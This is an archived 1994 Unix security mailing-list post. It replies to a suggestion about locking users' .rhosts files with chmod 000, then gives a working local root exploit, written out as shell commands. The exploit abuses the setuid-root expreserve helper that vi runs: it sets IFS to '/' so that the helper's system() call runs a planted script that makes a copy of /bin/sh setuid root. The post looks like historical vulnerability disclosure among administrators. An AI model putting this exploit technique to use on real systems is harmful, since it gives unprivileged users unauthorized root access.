home *** CD-ROM | disk | FTP | other *** search
- On Sat, 15 Oct 1994, James Seng wrote:
-
- > Anyway, what i did on my system is put a .rhosts file in every user
- > directory. chmod 000 .rhosts and chown root .rhosts. Not all user needs
- > .rhosts file. Those who wants to use them email me and i will chown back
- > to them. (any problem with that? :-)
- >
- > James Seng Ching Hong ~{W/Uq:j~}
- > Technet Student Consultant, Technet Unit
- > Internet: jseng@solomon.technet.sg
-
- If the users own their home directories, then what prevents them from
- removing that file?
- Oh, I detect an OS-dependent feature here...
-
- ObBug: vi runs expreserve when it crashes or you type ':pre' (on some
- versions). Expreserve is setuid root. Expreserve runs /bin/mail
- with 'system()'. So, do the following:
- % cd /tmp
- % cp /bin/sh fubar
- % cat > bin
- chmod 4755 fubar
- ^D
- % chmod u+x fubar
- % setenv IFS=/
- % vi
- :pre
- :q
- % fubar
- #
- Some versions of expreserve don't have the hole.
- Some versions of vi don't have the :pre command.
- One does not imply the other.
-
- Argh. Am I repeating 8lgm material here?
- --
- Charles Howes -- chowes@helix.net
- Always tell the truth, then you make it the other bloke's problem!
- - Sean Connery, 1971
-
-
-